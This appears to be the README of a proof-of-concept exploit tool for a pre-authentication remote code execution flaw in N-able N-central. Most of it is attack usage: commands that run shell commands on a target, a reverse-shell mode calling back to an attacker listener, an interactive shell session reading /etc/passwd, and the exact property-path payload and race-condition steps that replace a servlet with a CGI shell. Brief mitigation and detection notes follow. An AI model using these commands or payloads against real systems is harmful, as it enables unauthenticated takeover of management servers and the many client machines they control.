CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit

Overview

This is a Python 3 proof-of-concept exploit for CVE-2026-86218, a critical pre-authentication remote code execution vulnerability in N-able N-central.

Vulnerability Details:

• CVE: CVE-2026-86218
• CVSS Score: 10.0 (Critical)
• CWE: CWE-96 (Static Code Injection)
• Affected Versions: N-central < 2026.3.1.14
• Attack Vector: Network (Unauthenticated)

Vulnerability Description

N-able N-central uses a session-scoped Struts form on an unauthenticated action (/remoteControlAction.do). Two concurrent multipart requests can race the form's multipart handler and expose Jetty's live configuration to Commons BeanUtils property population. This allows an attacker to:

1. Replace a lazy N-central servlet holder (e.g., LogRetrieval) with Jetty's bundled CGI servlet
2. Configure the CGI servlet to execute arbitrary commands via /bin/sh -s
3. Send commands through the replaced servlet's URL mapping

Requirements

pip install requests

Usage

Basic Syntax

python3 CVE-2026-86218.py -t <target_url> [options]

Options

Option	Description
-t, --target	Target N-central URL (e.g., https://192.168.1.100)
-c, --command	Single command to execute
-i, --interactive	Interactive command mode
--lhost	Listener IP for reverse shell
--lport	Listener port (default: 4444)
--servlet	Servlet to replace: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--check	Check if target is vulnerable
--no-verify-ssl	Disable SSL certificate verification
--timeout	Request timeout (default: 30s)
--race-delay	Race condition delay (default: 0.35s)
-v, --verbose	Enable verbose output

Examples

1. Check if Target is Vulnerable

python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Expected Output:

[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Execute Single Command

python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Expected Output:

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Start listener first:

nc -lvnp 4444

Run exploit:

python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Expected Output:

[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Listener output:

listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Interactive Mode

python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Interactive Session:

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Using Different Servlet

# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Servlet Options

Servlet	Description	Impact
LogRetrieval	Log retrieval endpoint (default)	Least disruptive, logs unavailable until restart
FileTransfer	File transfer endpoint	Disrupts file transfer functionality
AutomationManagerDownloadServlet	Automation manager download	Requires management UI port (8443)

How It Works

Exploitation Flow

1. Version Check: Query /remoteControlAction.do to extract version from error page
2. Session Acquisition: Get unauthenticated JSESSIONID
3. Race Condition:
   • Send slow multipart request that pauses during parsing
   • While paused, send helper request to install handler on shared form
   • Resume slow request with BeanUtils property injection fields
4. Servlet Replacement: Replace LogRetrieval with Jetty CGI servlet
5. Command Execution: Send commands through CGI endpoint

Technical Details

The vulnerability exploits a race condition in Struts' multipart form handling:

• Struts stores one form object per HTTP session
• At the start of a multipart request, Struts removes the form's multipart handler
• A slow request pauses while Struts is still reading the body
• A helper request finishes and installs its initialized handler
• When the slow request continues, BeanUtils follows crafted field names through the handler
• These fields navigate to Jetty's WebAppContext and replace the servlet holder

The mutation fields use JavaBean property paths:

multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

This traverses: multipart handler → servlet context → classloader → WebAppContext → servlet handler → specific holder

Mitigation

1. Patch immediately: Upgrade to N-central 2026.3.1.14 or later
2. Restrict access: Limit inbound access to N-central console
3. Network segmentation: Place N-central behind VPN or IP allowlisting
4. Monitor logs: Check for suspicious API activity and user creation

Detection

Log Indicators

• Unusual requests to /remoteControlAction.do
• Multipart requests with unusual field names
• CGI-related activity on LogRetrieval endpoints
• Unexpected user account creation

Network Indicators

• Multiple rapid requests to same endpoint
• Large multipart payloads
• Connections from unusual source IPs

References

• N-able Security Advisory
• N-able Hotfix 4 Release Notes
• Rapid7 Metasploit Module
• Huntress Blog Post
• CISA KEV Catalog

Disclaimer